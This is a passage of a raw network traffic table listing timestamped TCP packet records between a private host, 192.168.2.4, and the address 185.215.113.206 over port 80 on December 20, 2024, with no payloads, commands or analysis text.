Dec 20, 2024 11:12:44.393223047 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.393273115 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.394928932 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.395092964 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.395117044 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.395170927 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.396754980 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.396807909 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.396986008 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.397034883 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.398473024 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.398547888 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.398571968 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.398624897 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.400134087 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.400180101 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.400302887 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.400352955 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.401818037 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.401870966 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.401918888 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.401971102 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.403438091 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.403512955 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.403604031 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.403651953 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.405111074 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.405162096 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.405168056 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.405208111 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.406647921 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.406701088 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.406883955 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.407618046 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.408194065 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.408246994 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.408288002 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.408390045 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.409771919 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.409859896 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.409863949 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.409921885 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.411254883 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.411329031 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.411372900 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.411458969 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.412764072 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.412832022 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.412859917 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.413022041 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.414241076 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.414293051 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.414309978 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.415035009 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.446435928 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.446496010 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.446559906 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.446971893 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.447016954 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.447036028 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.447069883 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.448122025 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.448182106 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.448230028 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.448406935 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.449222088 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.449296951 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.449398041 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.449470043 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.450325966 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.450392962 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.450443029 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.450476885 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.451477051 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.451534033 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.451551914 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.451594114 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.452538013 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.452599049 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.452641964 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.452692986 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.453598022 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.453658104 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.453705072 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.453752995 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.454742908 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.454804897 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.454865932 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.455786943 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.455847979 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.455948114 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.456094027 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.456830025 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.456887007 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.456979990 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.457295895 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.457922935 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.458013058 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.458019972 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.458060980 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.458971977 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.459028959 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.459047079 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.459110022 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.460057974 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.460119963 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.460216045 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.460397005 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.461153030 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.461225986 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.461256981 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.461303949 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.462327003 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.462403059 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.462482929 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.462527037 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.463294983 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.463356972 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.463370085 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.463438034 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.502912998 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.502955914 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.502970934 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.503004074 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.503506899 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.503562927 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.503592968 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.503650904 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.504518032 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.504573107 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.504620075 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.504807949 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.505589962 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.505714893 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.505728006 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.505757093 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.506666899 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.506721020 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.506783009 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.506835938 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.507755041 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.507812023 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.507859945 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.507913113 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.508831024 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.508883953 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.508924007 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.508975029 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.510076046 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.510132074 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.510138035 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.510217905 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.511017084 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.511073112 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.511178970 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.511233091 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.512070894 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.512130976 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.512167931 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.512221098 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.513134956 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.513186932 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.513240099 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.513295889 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.514214993 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.514269114 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.514308929 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.514358997 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.515292883 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.515351057 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.515381098 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.515433073 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.516376019 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.516484022 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.571053028 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.571119070 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.571186066 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.571232080 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.571655989 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.571711063 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.571738958 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.571800947 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.572642088 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.572700977 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.572751045 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.572841883 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.573724985 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.573774099 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.573821068 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.573875904 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.574781895 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.574891090 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.574934006 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.574980021 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.575851917 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.575911045 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.575963020 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.576020956 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.576975107 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.577027082 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.577074051 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.577125072 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.577987909 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.578042030 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.578044891 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.578092098 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.579098940 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.579154015 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.579185963 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.579233885 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.580162048 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.580218077 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.580233097 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.580296993 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.581260920 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.581315994 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.581418037 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.581485033 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.582281113 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.582335949 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.582561016 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.582739115 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.583376884 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.583431959 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.583477974 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.583523989 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.584573984 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.584589005 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.584657907 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.584657907 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.585541010 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.585602045 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.585629940 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.585690022 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.586642027 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.586693048 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.586735964 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.586786985 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.587714911 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.587764025 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.587842941 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.587894917 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.588762045 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.588816881 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.588912010 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.588968039 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.589870930 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.589924097 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.590027094 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.590076923 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.590960979 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.591042042 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.591114044 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.591166973 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.592025995 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.592080116 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.592106104 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.592168093 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.593069077 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.593122005 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.593159914 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.593211889 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.594125032 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.594182968 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.594224930 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.594280005 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.595204115 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.595257998 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.638673067 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.638740063 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.638742924 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.638803005 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.639143944 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.639216900 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.639257908 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.639308929 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.640165091 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.640218019 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.640315056 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.640364885 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.641159058 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.641222000 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.641288042 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.641352892 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.642157078 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.642211914 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.642252922 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.642322063 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.643138885 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.643191099 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.643239021 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.643290043 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.644161940 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.644222021 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.644305944 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.644437075 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.645142078 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.645199060 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.645236015 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.645289898 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.646115065 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.646140099 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.646171093 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.646207094 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.647083044 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.647130966 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.647239923 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.647350073 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.648143053 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.648197889 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.648240089 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.648297071 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.649508953 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.649549961 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.649559975 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.649595022 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.650141001 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.650156975 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.650188923 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.650238037 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.651076078 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.651130915 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.651211977 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.651372910 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.652074099 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.652123928 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.652163982 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.652206898 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.653048038 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.653095961 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.653163910 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.653209925 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.654036999 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.654088974 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.654160023 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.695122004 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.695197105 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.695235968 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.695292950 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.695713043 CET	80	49846	185.215.113.206	192.168.2.4
